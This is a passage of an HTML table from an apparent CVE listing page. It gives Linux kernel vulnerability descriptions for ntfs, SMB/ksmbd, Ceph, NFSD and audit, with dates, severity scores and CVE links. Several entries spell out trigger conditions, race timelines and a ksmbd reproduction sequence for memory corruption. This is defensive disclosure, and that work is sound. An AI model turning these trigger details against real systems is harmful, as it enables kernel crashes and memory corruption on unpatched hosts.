&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: validate non-resident attribute offsets ntfs_attr_update_meta() shifts the attribute name when converting between non-sparse and sparse attributes. Converting to sparse also adds the compressed_size field before the name and mapping pairs, requiring eight additional bytes in the attribute record. However, the validator does not check that name_offset is within safe boundaries for these operations or that the additional space is available. A malicious MFT record could set name_offset such that: 1. The name is positioned at the very end of a non-sparse attribute. Converting to sparse would shift the name forward by 8 bytes, writing beyond the attribute boundary. 2. The name overlaps with the mapping pairs, causing corruption during conversion. Add validation to ensure: - For named attributes, name_offset is within valid bounds - Name does not extend beyond the attribute or overlap with mapping pairs - For non-sparse, non-compressed attributes, eight bytes are available after mapping_pairs_offset for the compressed_size field The space check also covers unnamed attributes, for which name_offset = 0 is valid and no name range needs to be checked.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89611&quot; target=&quot;_blank&quot;&gt;CVE-2026-89611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: reject invalid MFT LCNs from boot sector The NTFS boot sector stores the MFT and MFTMirr locations as unsigned 64-bit LCNs, but parse_ntfs_boot_sector() decoded them into an s64. A crafted high-bit value could therefore become negative and pass the existing upper-bound check. The invalid value then propagated into the MFT zone allocator and could result in an out-of-bounds access to lcn_empty_bits_per_page.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89612&quot; target=&quot;_blank&quot;&gt;CVE-2026-89612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: reject invalid empty mapping pairs Reject an attribute with empty mapping pairs if it has inconsistent highest VCN and size.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89613&quot; target=&quot;_blank&quot;&gt;CVE-2026-89613&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: bound the free-cluster bitmap scan to the volume vol-&amp;gt;lcn_empty_bits_per_page is sized from vol-&amp;gt;nr_clusters at mount, but ntfs_cluster_alloc() bounds its scan of that array by the size of $Bitmap. Those are independent on-disk quantities and the mount-time check only rejects a $Bitmap that is too small, so an image whose $Bitmap covers more clusters than the volume has lets the scan index past the array. A run whose LCN lies in that gap takes the allocator straight there, since the caller passes the file&#039;s own last LCN as its locality hint. KASAN reports a slab out-of-bounds read when a file on such a volume is extended. Clamp the scan to what that array covers, mirroring the max_index calculation the mount-time scan already uses, and reject a decoded LCN at or beyond nr_clusters in the mapping pairs decoder. Conforming volumes are unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89614&quot; target=&quot;_blank&quot;&gt;CVE-2026-89614&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: restore the data_offset bound in is_valid_oplock_break() Commit 83bfbd0bb902 (&quot;cifs: Remove the RFC1002 header from smb_hdr&quot;) changed the quantity this bound is measured against. It used to be srv-&amp;gt;total_read minus the 4-byte RFC1002 preamble that total_read then included, so it was the SMB message length. The same commit stopped counting the preamble, and the mechanical substitution to srv-&amp;gt;total_read - srv-&amp;gt;pdu_size left an expression that is identically zero: standard_receive3() reads MID_HEADER_SIZE() bytes and then exactly pdu_length - MID_HEADER_SIZE() more, adding both to total_read. len is therefore 0, the subtraction below it wraps, and no __u32 DataOffset can exceed the result, so the check from commit 097f5863b1a0 (&quot;cifs: read overflow in is_valid_oplock_break()&quot;) no longer rejects anything. Use total_read, which is now the message length on its own.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89630&quot; target=&quot;_blank&quot;&gt;CVE-2026-89630&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: reject a tree connect response whose byte count is too small CIFSTCon() bounds its strnlen() over the byte area with the server&#039;s ByteCount minus two, which for ByteCount 0 or 1 goes negative as an int and converts to a huge size_t. The later subtraction wraps the __u16 bytes_left, and that is what bounds cifs_strndup_from_utf16(): a bound of up to 65535 against a ~16 KB cifs_req_poolp object runs off the end of the slab object, and the bytes reach userspace through tcon-&amp;gt;nativeFileSystem in /proc/fs/cifs/DebugData. Reject a byte area too small for what the parser consumes. Two bytes is the least it can consume, and no conformant response carries fewer. The new trace point is the 129th smb_eio_trace entry, which __mode(byte) cannot represent, so the attribute goes with it.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89631&quot; target=&quot;_blank&quot;&gt;CVE-2026-89631&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: fix OOB read/write from unvalidated DataOffset in coalesce_t2() coalesce_t2() computes data pointers directly from server-supplied DataOffset fields with no validation against buffer bounds: data_area_of_tgt = (char *)&amp;amp;pSMBt-&amp;gt;hdr.Protocol + get_unaligned_le16(&amp;amp;pSMBt-&amp;gt;t2_rsp.DataOffset); data_area_of_src = (char *)&amp;amp;pSMBs-&amp;gt;hdr.Protocol + get_unaligned_le16(&amp;amp;pSMBs-&amp;gt;t2_rsp.DataOffset); data_area_of_tgt += total_in_tgt; ... memcpy(data_area_of_tgt, data_area_of_src, total_in_src); A small DataOffset can push a pointer below the actual byte area, overwriting header fields; a large one can push it past the buffer end, causing out-of-bounds heap reads (source) or writes (target). The BCC overflow guard does not prevent this: BCC reflects how much data is present, while DataOffset controls where in the buffer it starts. The &quot;validate target area&quot; comment present since the function was first written in 2005 was a placeholder that was never implemented. Add lower- and upper-bound checks for both data pointers before the memcpy, and before any target header fields are modified.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89633&quot; target=&quot;_blank&quot;&gt;CVE-2026-89633&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: fix ALIGN() overflow in symlink_data() error context loop The check added by commit 7d9a7f1f96cd (&quot;smb/client: fix possible infinite loop and oob read in symlink_data()&quot;) compared the post-ALIGN length against the remaining buffer, but ALIGN() itself can overflow: for ErrorDataLength near UINT32_MAX (e.g. 0xFFFFFFF9), ALIGN(x, 8) wraps to 0, so the subsequent bounds check passes, and the loop advances by zero bytes leaving &#039;p&#039; pointing into stale data. Fix by checking the raw ErrorDataLength against the remaining space before applying ALIGN(), then checking again after. Since raw_len is bounded by the buffer, raw_len + 7 cannot overflow, so the second check is an exact post-alignment bounds guard.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89634&quot; target=&quot;_blank&quot;&gt;CVE-2026-89634&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: only rebind the reopened file&#039;s own oplock on durable reconnect ksmbd_reopen_durable_fd() walks the inode&#039;s m_op_list and rebinds every detached oplock to the reconnecting session: list_for_each_entry_rcu(op, &amp;amp;ci-&amp;gt;m_op_list, op_entry, lockdep_is_held(&amp;amp;ci-&amp;gt;m_lock)) { if (op-&amp;gt;conn) continue; op-&amp;gt;conn = ksmbd_conn_get(fp-&amp;gt;conn); op-&amp;gt;sess = work-&amp;gt;sess; } The only key is op-&amp;gt;conn == NULL, which every detached durable handle on that inode matches, not just the one owned by fp. When two sessions hold durable handles on the same file and both disconnect, reconnecting one of them adopts the other session&#039;s oplock: op-&amp;gt;sess is overwritten with the reconnecting session without taking a reference on it, while op-&amp;gt;conn pins the connection. The sibling teardown path, session_fd_check(), keys on the identity of the connection being torn down (op-&amp;gt;conn == conn) rather than on shared state, and so does not have this problem. Once the adopting session is destroyed, ksmbd_session_destroy() frees it while the foreign oplock still points at it. The reader in ksmbd_close_fd_app_instance_id() validates only opinfo-&amp;gt;conn, which is still live thanks to the reference taken above, and then dereferences the stale session: if (!opinfo-&amp;gt;conn) { up_read(&amp;amp;fp-&amp;gt;f_ci-&amp;gt;m_lock); goto out; } ft = &amp;amp;opinfo-&amp;gt;sess-&amp;gt;file_table; write_lock(&amp;amp;ft-&amp;gt;lock); BUG: KASAN: slab-use-after-free in _raw_write_lock+0x74/0xd0 Write of size 4 at addr ffff88810a970528 by task kworker/0:0/9 Workqueue: ksmbd-io handle_ksmbd_work Call Trace: _raw_write_lock+0x74/0xd0 ksmbd_close_fd_app_instance_id+0x183/0x410 smb2_open+0x1346/0x4430 handle_ksmbd_work+0x2bb/0x7b0 Reached from an authenticated session against a share with the default durable-handle and oplock configuration: two sessions open the same file with a durable-v2 handle and an RH lease under distinct AppInstanceIds, both log off, one reconnects with DH2C, and a later durable-v2 create carrying the other AppInstanceId walks into the freed session. Constrain the loop to the oplock owned by the file being reopened.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89635&quot; target=&quot;_blank&quot;&gt;CVE-2026-89635&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: clear ce-&amp;gt;tgthint in free_tgts() When free_tgts() frees all structures in ce-&amp;gt;tlist, ce-&amp;gt;tgthint is left pointing to one of the freed cache_dfs_tgt structures. If ce-&amp;gt;tgthint is not reset before it is used later, it results in a use-after-free. Set ce-&amp;gt;tgthint to NULL in free_tgts() after the elements are freed to reflect that no elements remain.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89636&quot; target=&quot;_blank&quot;&gt;CVE-2026-89636&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: fix UAF and buffer leak in cifs_check_trans2() for malformed secondary T2 When a valid primary TRANSACT2 response has been received (mid-&amp;gt;resp_buf set, mid-&amp;gt;multiRsp true) and a subsequent secondary response causes cifs_check_trans2() to return false -- either because the SMB header is invalid (malformed != 0) or because check2ndT2() rejects the PDU -- handle_mid() overwrites mid-&amp;gt;resp_buf with the new buffer (leaking the primary buffer) and, because mid-&amp;gt;multiRsp is set, skips the server-&amp;gt;smallbuf/bigbuf NULL-out. When the user thread frees mid-&amp;gt;resp_buf, server-&amp;gt;smallbuf or server-&amp;gt;bigbuf is left dangling; the demux thread reuses it for the next packet, resulting in a use-after-free. Combine both early-exit conditions and, when mid-&amp;gt;multiRsp is already set, abort the pending transaction inline: set multiEnd, call dequeue_mid() with malformed=true, and return true so handle_mid() exits without touching mid-&amp;gt;resp_buf or the server buffer pointers.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89637&quot; target=&quot;_blank&quot;&gt;CVE-2026-89637&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: audit: avoid dropping live tree ref on fsnotify rule autoremove audit_del_rule() is used for both netlink deletion templates and internal fsnotify autoremove. The former passes a parsed template which owns a temporary tree reference; the latter passes the installed entry itself. The unconditional audit_put_tree() at the end of audit_del_rule() assumes the template case. For mixed AUDIT_DIR plus AUDIT_EXE rules, an fsnotify autoremove event therefore drops the installed rule&#039;s live tree reference. Repeating this across rules sharing the same tree can free the tree while another rule still references it, and a later autoremove dereferences the freed pathname while comparing rules. Move the temporary-tree put to audit_rule_change(), the caller that owns deletion templates. Keep it in the AUDIT_DEL_RULE cleanup so both successful deletion and -ENOENT still release the parser-owned tree. [PM: dropped unnecessary comment for line length reasons]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89643&quot; target=&quot;_blank&quot;&gt;CVE-2026-89643&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ceph: bound xattr value length in __build_xattrs() __build_xattrs() decodes the MDS-supplied xattr blob one attribute at a time. For each attribute it reads a 32-bit name length, advances past the name bytes, reads a 32-bit value length, records the value pointer, and advances past the value bytes. The two length fields are read with ceph_decode_32_safe(), but the value bytes themselves are advanced over with a bare &quot;p += len&quot; and no ceph_decode_need() check that &quot;len&quot; bytes remain in the blob. For every attribute except the last, the next iteration&#039;s ceph_decode_32_safe() on the following name length implicitly verifies that the previous value did not run past the blob end. The final attribute has no successor, so its decoded value length is never checked against the blob bounds. A malicious or compromised metadata server can set the last attribute&#039;s value length larger than the bytes actually present in the blob. The blob is a dedicated kvmalloc() allocation sized to the wire length (ceph_buffer_new() in ceph_fill_inode()). __set_xattr() records the oversized length in xattr-&amp;gt;val_len verbatim, and a later getxattr(2) runs memcpy(value, xattr-&amp;gt;val, xattr-&amp;gt;val_len) into a user-supplied buffer, copying bytes past the end of the allocation back to user space. Impact: a malicious metadata server discloses adjacent kernel heap bytes to a local user via getxattr(2) on a CephFS file. Add the missing ceph_decode_need() so an out-of-bounds value length on the final attribute fails the decode and returns -EIO instead of being stored.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89649&quot; target=&quot;_blank&quot;&gt;CVE-2026-89649&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ceph: bound num_export_targets array for mds info v2/v3 ceph_mdsmap_decode() in fs/ceph/mdsmap.c reads num_export_targets from each per-mds info record and advances the decode cursor by num_export_targets * sizeof(u32) without first checking that many bytes remain. The only upper-bound check that catches a runaway cursor (*p &amp;gt; info_end) is gated on info_v &amp;gt;= 4, because info_end is left NULL for info_v 2 and 3. When the monitor sends an MDS map whose per-mds info version is 2 or 3 with an oversized num_export_targets, the cursor moves past the message front buffer and the later export-targets loop calls the unchecked ceph_decode_32() on out-of-bounds memory. A kernel client processes CEPH_MSG_MDS_MAP from its monitor session (net/ceph/mon_client.c dispatches it; fs/ceph/super.c routes it to ceph_mdsc_handle_mdsmap(), which sets end to the front buffer bound and calls ceph_mdsmap_decode()). A malicious or compromised monitor, or an on-path attacker on an unsigned/unencrypted messenger session, can therefore drive an out-of-bounds read in the client kernel; on x86_64 with KASAN it is reported as a slab-out-of-bounds read in ceph_mdsmap_decode(). The decoded values land in the internal info-&amp;gt;export_targets[] array, so the consequence is a kernel out-of-bounds read, not an information leak to the attacker. Impact: a malicious or compromised Ceph monitor sending an MDS map with a per-mds info version of 2 or 3 and an oversized num_export_targets field triggers an out-of-bounds read in the CephFS client kernel. Add a ceph_decode_need() for the export-targets array before advancing the cursor, so the bound is enforced for every info_v &amp;gt;= 2, not only info_v &amp;gt;= 4. This mirrors the count-then-need idiom already used for m_data_pg_pools later in the same function. Compute the export-targets byte count with size_mul() and reuse that checked length when advancing the cursor, so the attacker-controlled num_export_targets multiplication fails closed on overflow rather than relying on the later kcalloc() guard.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89650&quot; target=&quot;_blank&quot;&gt;CVE-2026-89650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ceph: bound MDSCapAuth path and fs_name decode in handle_session() handle_session() decodes the MDSCapAuth records carried by a CEPH_SESSION_OPEN message (msg_version &amp;gt;= 6). For each record the match.path and match.fs_name byte strings are read by first decoding a 32-bit length and then copying that many bytes with the bare ceph_decode_copy(). Unlike the surrounding fields, which all use the _safe decode variants, these two copies are not preceded by a ceph_decode_need() bounds check, and the enclosing MDSCapAuth and MDSCapMatch struct_len fields are skipped rather than enforced as an upper bound. A length larger than the bytes remaining in the message front makes ceph_decode_copy() read past the end of the front buffer. The message front is a dedicated allocation (ceph_msg_new2() -&amp;gt; kvmalloc), so the over-read runs off that object. A malicious or compromised MDS can trigger this with the first post-connect message on mount, with no client-side user interaction; under KASAN it is reported as a slab-out-of-bounds read in handle_session(). Impact: a malicious MDS can force the kernel client to read up to 4 GiB past the message front allocation during session setup, crashing the client (out-of-bounds read). Switch both copies to ceph_decode_copy_safe(), which performs the ceph_decode_need() bounds check before the copy and branches to the existing bad label, matching the rest of the decoder and the error path that frees the partially decoded cap_auths array.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89651&quot; target=&quot;_blank&quot;&gt;CVE-2026-89651&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ceph: bound copied dentry name length in NFS export get_name ceph_get_name() copies the MDS-supplied name into the caller&#039;s NAME_MAX-sized buffer with memcpy(name, rinfo-&amp;gt;dname, rinfo-&amp;gt;dname_len) and then writes name[rinfo-&amp;gt;dname_len] = 0, without checking dname_len against NAME_MAX. A malicious or buggy MDS that returns a LOOKUPNAME reply with dname_len &amp;gt; NAME_MAX overflows the buffer. __get_snap_name() copies rde-&amp;gt;name / rde-&amp;gt;name_len the same unchecked way. Impact: a malicious or compromised Ceph MDS overflows the NAME_MAX name buffer in a client&#039;s NFS-export get_name path, a slab out-of-bounds write reported by KASAN. Reachable when a CephFS mount is re-exported over NFS. Add ceph_export_copy_name(), which rejects lengths above NAME_MAX with -ENAMETOOLONG before the copy, and use it in both ceph_get_name() and __get_snap_name().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89652&quot; target=&quot;_blank&quot;&gt;CVE-2026-89652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ceph: reject export_targets ranks &amp;gt;= CEPH_MAX_MDS in mdsmap decode MDSMap export_targets entries are monitor controlled. check_new_map() uses each entry as a bit number in a fixed stack bitmap, so a rank outside the protocol namespace can make set_bit() write past the end of the array. Reject ranks outside CEPH_MAX_MDS while decoding the map. Do not validate against possible_max_rank here because maps may legitimately reference ranks beyond a temporarily reduced max_mds.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89653&quot; target=&quot;_blank&quot;&gt;CVE-2026-89653&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ceph: fix UAF in check_new_map() on session freed during unlock check_new_map() iterates mdsc-&amp;gt;sessions[] and for each active session drops mdsc-&amp;gt;mutex to perform per-session operations. The forced-close path (rank removed from map) correctly takes a reference on s via ceph_get_mds_session() before releasing mdsc-&amp;gt;mutex, but three other paths do not: Path A (address changed): mutex_unlock â†’ mutex_lock(&amp;amp;s-&amp;gt;s_mutex) Path B (reconnect): mutex_unlock â†’ send_mds_reconnect(mdsc, s) Path C (active transition): mutex_unlock â†’ mutex_lock(&amp;amp;s-&amp;gt;s_mutex) Without the extra reference, another thread can acquire mdsc-&amp;gt;mutex during the unlock window, call __unregister_session() which drops the last reference on s, and free it. The original thread then accesses freed memory via s-&amp;gt;s_mutex. Fix by adding ceph_get_mds_session(s) before each mutex_unlock and ceph_put_mds_session(s) after the corresponding mutex_lock, matching the pattern already used in the forced-close path. Race timeline (Path A): Thread A (check_new_map) Thread B (another map update holds mdsc-&amp;gt;mutex or session teardown) -------------------------- -------------------------- s = mdsc-&amp;gt;sessions[i] (refcount == 1, held only by sessions[] array) mutex_unlock(&amp;amp;mdsc-&amp;gt;mutex) ---&amp;gt; acquires mdsc-&amp;gt;mutex __unregister_session(mdsc, s) sessions[i] = NULL ceph_put_mds_session(s) refcount: 1 -&amp;gt; 0 kfree(s) &amp;lt;--- freed! mutex_lock(&amp;amp;s-&amp;gt;s_mutex) UAF on freed s-&amp;gt;s_mutex&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89654&quot; target=&quot;_blank&quot;&gt;CVE-2026-89654&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ceph: fix UAF in __kick_flushing_caps() on cf entry freed during unlock list_for_each_entry() iterates ci-&amp;gt;i_cap_flush_list but drops i_ceph_lock to send cap messages. During the unlock window, handle_cap_flush_ack() can acquire i_ceph_lock, detach cf entries with tid &amp;lt;= flush_tid from the list, release i_ceph_lock, and free them via ceph_free_cap_flush() outside any lock. When the original thread reacquires i_ceph_lock and the for-loop macro advances via cf = list_next_entry(cf, i_list), it dereferences cf-&amp;gt;i_list.next on freed memory. The race timeline: __kick_flushing_caps() handle_cap_flush_ack() ----------------------- ----------------------- holds i_ceph_lock &amp;lt;--- iterates to cf (tid=10) prepares FLUSH message drops i_ceph_lock &amp;lt;--- __send_cap() â”€â”€ FLUSH(tid=10) MDS sends FLUSH_ACK(tid=10) ---&amp;gt; acquires i_ceph_lock cf-&amp;gt;tid(10) &amp;lt;= flush_tid(10), detaches cf from i_cap_flush_list drops i_ceph_lock ceph_free_cap_flush(cf) &amp;lt;- frees it! acquires i_ceph_lock &amp;lt;--- for-loop advances: cf = list_next_entry(cf, i_list) -- UAF on freed cf-&amp;gt;i_list.next The cf was just sent by __kick_flushing_caps itself via __send_cap(). The MDS may respond with FLUSH_ACK quickly enough that handle_cap_flush_ack() frees cf before __kick_flushing_caps can finish the iteration. Fix by converting to a manual while loop: save the next pointer under i_ceph_lock before dropping it, then use the saved pointer after reacquiring, so the potentially-freed cf is never accessed again.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89655&quot; target=&quot;_blank&quot;&gt;CVE-2026-89655&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: libceph: reject buckets with mismatched CRUSH ids crush_decode() stores bucket data by array slot, and the mapper later derives the per-bucket workspace index from the decoded bucket id. A malformed map can therefore make one bucket reuse another bucket&#039;s workspace by encoding an id different from -1 - slot. For uniform buckets, the second replica selection expands the source bucket&#039;s permutation into that aliased workspace buffer. If the source bucket is larger than the aliased bucket, the write runs past the smaller permutation array and can escape the kvmalloc&#039;d CRUSH workspace. KASAN reports a slab OOB write of 4 bytes in bucket_perm_choose(). Reject buckets whose encoded id does not match their array slot. Valid CRUSH maps already use the canonical negative id corresponding to the bucket slot, so this restores the invariant expected by work-&amp;gt;work[-1 - in-&amp;gt;id] without changing valid map behavior.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89656&quot; target=&quot;_blank&quot;&gt;CVE-2026-89656&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during NFSv4.0 revoked-state cleanup nfs40_clean_admin_revoked() takes a stateid reference under clp-&amp;gt;cl_lock, drops nn-&amp;gt;client_lock, and calls nfsd4_drop_revoked_stid(), which dereferences the stateid&#039;s client through s-&amp;gt;sc_client-&amp;gt;cl_lock. The stateid reference does not pin the client, so a teardown racing the dropped lock can free the client while nfsd4_drop_revoked_stid() is still using it. This cleanup runs from the laundromat, so a periodic sweep can race force_expire_client() driven by a write to the clients/&amp;lt;id&amp;gt;/ctl file. Skip a client that is already expiring and otherwise pin it with cl_rpc_users under client_lock before dropping the lock, matching nfsd4_revoke_states().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89658&quot; target=&quot;_blank&quot;&gt;CVE-2026-89658&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent client use-after-free during delegation revoke A delegation stateid holds only a bare pointer to its owning nfs4_client and does not keep it alive. The client survives its stateids only because __destroy_client() drains cl_delegations and cl_revoked before free_client() runs. nfs4_laundromat() breaks that invariant: it unhashes an expired delegation from cl_delegations, drops deleg_lock, then revoke_delegation() relinks it onto cl_revoked under cl_lock. In that window the delegation is on neither list, so client_has_state() can report no remaining state. Every teardown path first requires cl_rpc_users to be zero, but the laundromat holds no such reference. A client whose recalled delegation has just timed out can therefore reach free_client() while revoke_delegation() is still about to dereference cl_lock, a use-after-free. Pin the client with cl_rpc_users across the revoke so teardown blocks until it completes, then reap the delegation from cl_revoked. A client already expiring reaps its own, so skip it and leave the delegation on del_recall_lru.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89659&quot; target=&quot;_blank&quot;&gt;CVE-2026-89659&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
